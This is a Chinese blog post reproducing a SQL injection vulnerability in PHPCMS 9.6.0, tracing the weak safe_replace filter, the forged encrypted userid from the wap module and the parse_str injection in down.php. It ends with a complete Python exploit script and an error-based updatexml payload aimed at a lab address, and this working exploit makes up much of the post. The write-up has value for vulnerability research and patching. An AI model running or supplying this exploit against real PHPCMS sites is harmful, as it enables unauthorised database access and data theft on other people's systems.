美文网首页
[漏洞复现]phpcms9.6.0注入漏洞

[漏洞复现]phpcms9.6.0注入漏洞

作者: CMDY10086 | 来源:发表于2017-11-15 12:27 被阅读0次

    v9.6.0wap模块存在注入

    phpcms/modules/attachment/attachments.php 的 swfupload_json函数

        /**
         * 设置swfupload上传的json格式cookie
         */
        public function swfupload_json() {
            $arr['aid'] = intval($_GET['aid']);
            $arr['src'] = safe_replace(trim($_GET['src']));
            $arr['filename'] = urlencode(safe_replace($_GET['filename']));
            $json_str = json_encode($arr);
            $att_arr_exist = param::get_cookie('att_json');
            $att_arr_exist_tmp = explode('||', $att_arr_exist);
            if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
                return true;
            } else {
                $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
                param::set_cookie('att_json',$json_str);
                return true;            
            }
        }
        
    

    其中用safe_replace过滤输入,跟进函数

    /**
     * 安全过滤函数
     *
     * @param $string
     * @return string
     */
    function safe_replace($string) {
        $string = str_replace('%20','',$string);
        $string = str_replace('%27','',$string);
        $string = str_replace('%2527','',$string);
        $string = str_replace('*','',$string);
        $string = str_replace('"','"',$string);
        $string = str_replace("'",'',$string);
        $string = str_replace('"','',$string);
        $string = str_replace(';','',$string);
        $string = str_replace('<','&lt;',$string);
        $string = str_replace('>','&gt;',$string);
        $string = str_replace("{",'',$string);
        $string = str_replace('}','',$string);
        $string = str_replace('\\','',$string);
        return $string;
    }
    

    然而并没有什么卵用。会将敏感字符替换为空,然而只按顺序执行一次。比如 %27,会被过滤得到%27
    回到swfupload_json中,safe_replace处理后程序使用json_encode+set_cookie生成加密的cookie值
    也就是说利用swfupload_json可以构造一个含有%27等payload的加密值

    追溯swfupload_json的构造函数

    class attachments {
        private $att_db;
        function __construct() {
            pc_base::load_app_func('global');
            $this->upload_url = pc_base::load_config('system','upload_url');
            $this->upload_path = pc_base::load_config('system','upload_path');      
            $this->imgext = array('jpg','gif','png','bmp','jpeg');
            $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
            $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
            $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
            //判断是否登录
            if(empty($this->userid)){
                showmessage(L('please_login','','member'));
            }
        }
    

    $this->userid不为空才可以继续执行 $this->userid和sys_auth($_POST['userid_flash'],'DECODE')
    并且程序没有检查$this->userid的有效性,所以只要传入的userid_flash是个合法的加密值即可通过检测
    进而使用swfupload_json

    如何获取一个合法加密值?
    phpcms/modules/wap/index.php

    class index {
        function __construct() {        
            $this->db = pc_base::load_model('content_model');
            $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
            param::set_cookie('siteid',$this->siteid);  
            $this->wap_site = getcache('wap_site','wap');
            $this->types = getcache('wap_type','wap');
            $this->wap = $this->wap_site[$this->siteid];
            define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
            if($this->wap['status']!=1) exit(L('wap_close_status'));
        }
    

    在wap模块的构造函数中根据setid生成了一个加密Cookie,因此,先访问index.php?m=wap&c=index&siteid=1
    生成的值可以通过响应头得到


    [XE8IOXYEG%]6{9)5DIPLSJ.png

    得到含有payload的加密值后,继续到phpcms/modules/content/down.php

    public function init() {
            $a_k = trim($_GET['a_k']);
            if(!isset($a_k)) showmessage(L('illegal_parameters'));
            $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
            if(empty($a_k)) showmessage(L('illegal_parameters'));
            unset($i,$m,$f);
            parse_str($a_k);
            if(isset($i)) $i = $id = intval($i);
            if(!isset($m)) showmessage(L('illegal_parameters'));
            if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
            if(empty($f)) showmessage(L('url_invalid'));
            $allow_visitor = 1;
            $MODEL = getcache('model','commons');
            $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
            $this->db->table_name = $tablename.'_data';
            $rs = $this->db->get_one(array('id'=>$id)); 
    

    sys_auth解密输入的a_k,然后使用parse_str处理a_k。parse_str函数的作用简单说是以&分隔符,解析
    并注册变量。通过IDE的提示可以看到在静态的情况下$id是未初始化的,所以可以通过parse_str注册
    $id进而将可控数据带入查询,另外parse_str可以进行url解码,所以之前得到的%27也就被解码成了'
    parse_str还可能导致变量覆盖的问题详见 https://github.com/80vul/pasc2at

    post方法访问http://192.168.42.133/phpcms/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
    post值userid_flash=上次加密的cookie

    UM_`QFL4PA{LTMLEW`YKF3.png

    最后用cookie中_att_json中的值带入index.php?m=content&c=down&a_k=_att_json的值
    记得post


    png

    payload:

    #coding:utf-8
    import requests
    url = 'http://192.168.42.133/phpcms/install_package/index.php'
    s = requests.session()
    params_get_userid = {
        'm':'wap',
        'c':'index',
        'siteid':'1',
    }
    rep = s.get(url,params=params_get_userid)
    for cookie in rep.cookies:
        if '_siteid' in cookie.name:
            userid = cookie.value #userid为第一次加密的$this->userid
    payload = '%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26' 
    url_get_encode = '{}?m=attachment&c=attachments&a=swfupload_json&aid=1&src={}'.format(url,payload)
    data = {'userid_flash':userid}
    rep = s.post(url_get_encode,data=data)
    for cookie in rep.cookies:
        if '_att_json' in cookie.name:
            encode_payload = cookie.value
        
    params = {
        'm':'content',
        'c':'down',
        'a_k':encode_payload,
    }
    rep = s.get(url,params=params)
    print rep.content 
    

    相关文章

      网友评论

          本文标题:[漏洞复现]phpcms9.6.0注入漏洞

          本文链接:https://www.haomeiwen.com/subject/isucvxtx.html